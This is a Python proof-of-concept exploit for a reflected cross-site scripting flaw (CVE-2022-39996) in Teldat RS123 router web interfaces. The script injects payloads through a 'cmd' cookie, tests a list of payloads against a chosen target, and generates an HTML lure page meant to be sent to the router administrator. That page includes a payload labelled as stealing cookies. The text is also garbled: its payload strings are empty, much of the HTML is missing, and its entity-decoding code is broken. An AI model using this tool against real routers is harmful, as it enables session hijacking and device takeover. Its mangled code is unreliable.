#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2022-39996 - Teldat Router (RS123/RS123w) Reflected XSS POC Description: Teldat RS123/RS123w routers contain a Reflected Cross-Site Scripting (XSS) vulnerability in the /upgrade/index.html endpoint. The "cmd" HTTP cookie parameter is reflected unsanitized in the response, allowing attackers to inject arbitrary JavaScript code that executes in the victim's browser. The attacker can craft a malicious HTTP request with an XSS payload in the "cmd" cookie. When an authenticated administrator visits the crafted page, the malicious JavaScript executes in the context of the router's web interface, potentially leading to session hijacking, configuration changes, or full router compromise. CWE: CWE-79 (Cross-Site Scripting) CVSS: 6.1 (Medium) Severity: Medium Affected Versions: - Teldat RS123 - Teldat RS123w Vulnerable Endpoint: /upgrade/index.html (via "cmd" cookie parameter) Usage: # Basic POC - demonstrates the vulnerability python CVE-2022-39996.py -t 192.168.1.1 # Custom XSS payload python CVE-2022-39996.py -t 192.168.1.1 --payload "" # With authentication (if basic auth is required) python CVE-2022-39996.py -t 192.168.1.1 -u root -p root # Generate a proof-of-concept HTML page for demonstration python CVE-2022-39996.py -t 192.168.1.1 --gen-poc """ import argparse import sys import requests import re import base64 import html # Disable SSL warnings requests.packages.urllib3.disable_warnings() DEFAULT_TIMEOUT = 10 BANNER = r""" _____ _ _ _____ _____ _____ _____ _____ _____ _____ _____ _____ ____ / __ \ | | | ___| / __ \| _ |/ __ \/ __ \ |____ || _ || _ || _ |/ ___| | / \/ | | | |__ ______`' / /'| |/' |`' / /'`' / /'______ / /| |_| || |_| || |_| / /___ | | | | | | __|______| / / | /| | / / / / |______| \ \\____ |\____ |\____ | ___ \ | \__/\ \_/ / |___ ./ /___\ |_/ /./ /___./ /___ .___/ /.___/ /.___/ /.___/ / \_/ | \____/\___/\____/ \_____/ \___/ \_____/\_____/ \____/ \____/ \____/\____/\_____/ """ # Default XSS payload - simple alert DEFAULT_PAYLOAD = "" # Various XSS test payloads for verification TEST_PAYLOADS = [ "", "", "", "javascript:alert('XSS')", "'\">", "", ] def check_xss(target, port, use_ssl=False, username=None, password=None, payload=None, timeout=None): """ Check for reflected XSS via the 'cmd' cookie on /upgrade/index.html Args: target: Target IP/hostname port: HTTP(S) port use_ssl: Use HTTPS username: HTTP basic auth username (optional) password: HTTP basic auth password (optional) payload: XSS payload to inject timeout: Request timeout Returns: dict: Results with vulnerability status and evidence """ timeout = timeout or DEFAULT_TIMEOUT payload = payload or DEFAULT_PAYLOAD protocol = "https" if use_ssl else "http" base_url = f"{protocol}://{target}:{port}" vulnerable_url = f"{base_url}/upgrade/index.html" auth = (username, password) if username and password else None # Prepare cookie with XSS payload cookies = {"cmd": payload} result = { "vulnerable": False, "url": vulnerable_url, "payload": payload, "evidence": "", "error": None, } try: r = requests.get( vulnerable_url, cookies=cookies, auth=auth, timeout=timeout, verify=False, allow_redirects=False, ) response_text = r.text # Check if payload is reflected in response if payload in response_text: result["vulnerable"] = True # Extract context around the reflected payload idx = response_text.find(payload) start = max(0, idx - 50) end = min(len(response_text), idx + len(payload) + 50) context = response_text[start:end] # Check if the payload is HTML-entity encoded (mitigated) encoded_payload = html.escape(payload) if encoded_payload in response_text and payload not in response_text.replace( "<", "<" ).replace(">", ">").replace(""", '"').replace("'", "'"): result["mitigated"] = True result["evidence"] = f"Payload reflected but HTML-encoded:\n...{context}..." else: result["evidence"] = f"Payload reflected UNSANITIZED:\n...{context}..." else: result["evidence"] = ( f"Payload NOT reflected in response. " f"Response length: {len(response_text)} bytes" ) except requests.exceptions.ConnectionError: result["error"] = f"Connection refused to {vulnerable_url}" except requests.exceptions.Timeout: result["error"] = f"Timeout connecting to {vulnerable_url}" except Exception as e: result["error"] = str(e) return result def test_multiple_payloads(target, port, use_ssl=False, username=None, password=None, timeout=None): """ Test multiple XSS payloads against the target to confirm the vulnerability. """ print("\n[*] Testing multiple XSS payloads for confirmation...\n") results = [] for i, payload in enumerate(TEST_PAYLOADS, 1): print(f" [{i}/{len(TEST_PAYLOADS)}] Testing: {payload[:60]}...") result = check_xss( target, port, use_ssl, username, password, payload, timeout ) result["payload"] = payload results.append(result) if result["vulnerable"]: print(f" [!] REFLECTED (unsanitized)") elif result.get("mitigated"): print(f" [*] Reflected but HTML-encoded (potentially mitigated)") else: print(f" [-] Not reflected") return results def generate_poc_html(target, port, use_ssl=False): """ Generate a standalone HTML POC file that demonstrates the XSS. This can be hosted or sent to the target administrator. """ protocol = "https" if use_ssl else "http" target_url = f"{protocol}://{target}:{port}/upgrade/index.html" # XSS payload to steal cookies steal_payload = ( "" ) poc_html = f""" CVE-2022-39996 - Teldat Router Reflected XSS POC

CVE-2022-39996 - Teldat Router Reflected XSS

Proof of Concept - For educational and authorized testing only

Vulnerability Details

Proof of Concept

The cmd cookie value is reflected without sanitization. Click the button below to trigger the XSS (simulated):

Impact

Remediation

""" return poc_html def main(): parser = argparse.ArgumentParser( description="CVE-2022-39996 - Teldat Router Reflected XSS POC", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python CVE-2022-39996.py -t 192.168.1.1 python CVE-2022-39996.py -t 192.168.1.1 --multi python CVE-2022-39996.py -t 192.168.1.1 -u root -p root python CVE-2022-39996.py -t 192.168.1.1 --gen-poc python CVE-2022-39996.py -t 192.168.1.1 --payload "" """, ) parser.add_argument("-t", "--target", required=True, help="Target IP address or hostname") parser.add_argument("--port", type=int, default=80, help="HTTP port (default: 80)") parser.add_argument("--ssl", action="store_true", help="Use HTTPS") parser.add_argument("-u", "--username", help="HTTP Basic Auth username") parser.add_argument("-p", "--password", help="HTTP Basic Auth password") parser.add_argument( "--payload", default=DEFAULT_PAYLOAD, help="Custom XSS payload (default: simple alert)", ) parser.add_argument( "--multi", action="store_true", help="Test multiple XSS payloads for verification", ) parser.add_argument( "--gen-poc", action="store_true", help="Generate standalone POC HTML file", ) parser.add_argument( "--output", default="poc.html", help="Output file for generated POC HTML (default: poc.html)", ) parser.add_argument( "--timeout", type=int, default=DEFAULT_TIMEOUT, help="Request timeout in seconds", ) args = parser.parse_args() print(BANNER) print("CVE-2022-39996 | Teldat Router Reflected XSS (cmd cookie)") print("CWE-79 | CVSS 6.1 (Medium)") print(f"Target: {args.target}:{args.port}") print("=" * 60) # Generate POC HTML if args.gen_poc: poc_html = generate_poc_html(args.target, args.port, args.ssl) with open(args.output, "w", encoding="utf-8") as f: f.write(poc_html) print(f"\n[+] POC HTML generated: {args.output}") print(f" Open in browser to view the POC demonstration.") return # Single payload test print(f"\n[*] Testing XSS via 'cmd' cookie...") print(f" URL: http{'s' if args.ssl else ''}://{args.target}:{args.port}/upgrade/index.html") print(f" Payload: {args.payload}") result = check_xss( args.target, args.port, args.ssl, args.username, args.password, args.payload, args.timeout, ) print(f"\n[*] Results:") if result["error"]: print(f" [-] Error: {result['error']}") elif result["vulnerable"]: print(f" [!!!] VULNERABLE - Reflected XSS confirmed!") print(f"\n Evidence:") print(f" {result['evidence']}") else: print(f" [-] Not vulnerable with this payload") if result.get("evidence"): print(f" {result['evidence']}") # Multi-payload test if args.multi: results = test_multiple_payloads( args.target, args.port, args.ssl, args.username, args.password, args.timeout ) # Summary vulnerable_count = sum(1 for r in results if r["vulnerable"]) mitigated_count = sum(1 for r in results if r.get("mitigated")) print(f"\n{'=' * 60}") print(f"[*] Multi-payload Test Summary:") print(f" Total payloads tested: {len(results)}") print(f" Reflected (unsanitized): {vulnerable_count}") print(f" Reflected (HTML-encoded): {mitigated_count}") print(f" Not reflected: {len(results) - vulnerable_count - mitigated_count}") if vulnerable_count > 0: print(f"\n[!!!] VULNERABLE: Reflected XSS confirmed with {vulnerable_count} payload(s)") elif mitigated_count > 0: print(f"\n[*] Partially mitigated: Payloads reflected but HTML-encoded") else: print(f"\n[-] No XSS detected with tested payloads") if __name__ == "__main__": main()